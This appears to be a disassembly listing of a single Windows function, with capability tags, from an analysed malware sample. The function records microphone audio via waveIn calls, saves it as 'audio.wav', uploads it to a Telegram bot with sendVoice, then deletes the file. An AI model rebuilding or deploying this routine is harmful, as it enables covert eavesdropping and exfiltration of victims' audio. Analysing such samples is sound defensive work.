Function at 0x14000cf70
Capabilities:
Capture microphone audio
Contain obfuscated stackstrings
Delete file
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x240]
sub rsp, 0x340
mov rax, qword [0x140025040]
xor rax, rsp
mov qword [rbp + 0x230], rax
mov rsi, rdx
mov r15, rcx
mov qword [rbp + 0xf8], rdx
xor r13d, r13d
mov rcx, qword [rdx]
add rcx, 0x118
cmp qword [rcx + 0x18], 0xf
jbe 0x14000cfc4
mov rcx, qword [rcx]
add rcx, 7
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
imul ebx, eax, 0x15888
movsxd rcx, ebx
mov eax, 2
mul rcx
mov rdi, 0xffffffffffffffff
cmovo rax, rdi
mov rcx, rax
call fcn.140017ca4
mov r12, rax
mov dword [rbp + 0x1d0], 0x20001
mov dword [rbp + 0x1dc], 0x100004
mov dword [rbp + 0x1d4], 0xac44
mov dword [rbp + 0x1d8], 0x2b110
mov word [rbp + 0x1e0], r13w
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0x1d0]
mov edx, 0xffffffff
lea rcx, [rbp + 0x190]
call qword [sym.imp.WINMM.dll_waveInOpen]
mov qword [rbp + 0x198], r12
lea r14d, [rbx + rbx]
mov dword [rbp + 0x1a0], r14d
mov dword [rbp + 0x1a4], r13d
mov qword [rbp + 0x1a8], r13
mov qword [rbp + 0x1b0], r13
lea r8d, [rdi + 0x31]
lea rdx, [rbp + 0x198]
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.WINMM.dll_waveInPrepareHeader]
lea r8d, [rdi + 0x31]
lea rdx, [rbp + 0x198]
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.WINMM.dll_waveInAddBuffer]
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.WINMM.dll_waveInStart]
nop dword [rax + rax]
mov r8d, gethostbyname
lea rdx, [rbp + 0x198]
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.WINMM.dll_waveInUnprepareHeader]
cmp eax, 0x21
je 0x14000d0c0
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.WINMM.dll_waveInClose]
mov dword [rbp + 0x1e8], 0x46464952
mov dword [rbp + 0x1f0], 0x45564157
mov dword [rbp + 0x1f4], 0x20746d66
mov dword [rbp + 0x20c], 0x61746164
mov dword [rbp + 0x1f8], 0x10
mov eax, 1
mov word [rbp + 0x1fc], ax
movzx ecx, word [rbp + 0x1d2]
mov word [rbp + 0x1fe], cx
movzx eax, word [rbp + 0x1de]
mov word [rbp + 0x20a], ax
mov dword [rbp + 0x200], 0xac44
mov r9d, eax
imul r9d, ecx
imul eax, r9d, 0xac44
cdq
and edx, 7
add eax, edx
sar eax, 3
mov dword [rbp + 0x204], eax
mov eax, r9d
cdq
and edx, 7
add eax, edx
sar eax, 3
mov word [rbp + 0x208], ax
lea eax, [rbx*2 + 0x24]
mov dword [rbp + 0x1ec], eax
mov dword [rbp + 0x210], r14d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 2]
lea r14, str.audio.wav
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
je 0x14000d21b
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x1c8]
mov r8d, 0x2c
lea rdx, [rbp + 0x1e8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x1c8]
mov r8d, dword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x198]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.140017a20
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], 9
call fcn.1400170a4
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x100], xmm0
lea r8, [rbp + 0x100]
mov edx, eax
lea rcx, [rbp + 0x80]
call fcn.140001b60
nop
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x50]
call fcn.140003100
movsd xmm0, qword [rax]
movsd qword [rsp + 0x70], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0x60], ecx
lea rax, [0x140025110]
mov qword [rbp + 0x68], rax
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x220], xmm0
mov eax, dword [rsp + 0x70]
test eax, eax
je 0x14000d2eb
cmp eax, 1
setne r14b
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x14000d2fd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d2f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d2f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor r14b, r14b
test ecx, ecx
jne 0x14000d84b
jmp 0x14000d2a7
call fcn.140017a20
mov rbx, qword [r15]
xorps xmm0, xmm0
test r14b, r14b
je 0x14000d627
movdqu xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r13
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r13
mov qword [rbp + 8], r13
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp - 0x10]
call fcn.140013570
nop
lea rax, [rbp + 0x70]
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x70], xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r13
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp - 0x30]
call fcn.140013570
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], r13
mov r8d, 0xe
lea rdx, str.audio_vnd.wave
lea rcx, [rbp - 0x50]
call fcn.140013570
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], r13
mov r8d, 9
lea rdx, str.audio.wav
lea rcx, [rbp - 0x70]
call fcn.140013570
nop
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x120]
call qword [sym.imp.TgBot.dll_public:_static_class_std::shared_ptr_class_TgBot::InputFile____cdecl_TgBot::InputFile::fromFile_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_]
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xd8], xmm0
mov rcx, qword [rax]
mov qword [rbp + 0xd8], rcx
mov rcx, qword [rax + 8]
mov qword [rbp + 0xe0], rcx
mov qword [rax], r13
mov qword [rax + 8], r13
mov dword [rbp + 0xd0], r13d
mov rax, qword [rsi]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x148], rax
mov dword [rbp + 0x140], r13d
mov dword [rsp + 0x68], r13d
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x48], 0
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], r13d
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd0]
lea r8, [rbp + 0x140]
lea rdx, [rbp + 0x110]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendVoice_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D_s]
mov rbx, qword [rbp + 0x118]
test rbx, rbx
je 0x14000d4ad
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000d4ad
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000d4ad
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rbx, qword [rbp + 0x128]
test rbx, rbx
je 0x14000d4e3
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000d4e3
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000d4e3
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14000d521
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d51c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d51c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000d56f
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d56a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d56a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14000d5bd
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d5b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d5b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14000d60b
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d606
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d606
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp], r13
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
lea rcx, [rbp + 0xa0]
jmp 0x14000d7d3
movdqu xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc8], r13
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], r13
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp + 0x30]
call fcn.140013570
nop
lea rax, [rbp - 0x80]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], r13
mov r8d, 0xf
lea rdx, str.LOG_NOT_FOUNDED
lea rcx, [rbp + 0x10]
call fcn.140013570
nop
mov rax, qword [rsi]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x170], rax
mov dword [rbp + 0x168], r13d
mov dword [rsp + 0x60], r13d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0x10]
lea r8, [rbp + 0x168]
lea rdx, [rbp + 0x130]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
mov rbx, qword [rbp + 0x138]
test rbx, rbx
je 0x14000d730
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000d730
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000d730
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14000d76e
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d769
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d769
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000d7bc
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d7b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d7b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
lea rcx, [rbp + 0xb8]
call fcn.140011170
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.audio.wav
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rbx, qword [rsi + 8]
test rbx, rbx
je 0x14000d821
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000d821
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x14000d821
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rbp + 0x230]
xor rcx, rsp
call fcn.140017a00
mov rbx, qword [rsp + 0x390]
add rsp, 0x340
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x220]
call fcn.140002bf0
int3